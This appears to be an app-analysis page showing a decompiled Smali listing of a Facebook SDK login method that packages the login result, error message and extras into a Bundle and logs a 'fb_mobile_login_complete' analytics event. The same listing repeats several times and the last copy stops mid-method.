                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
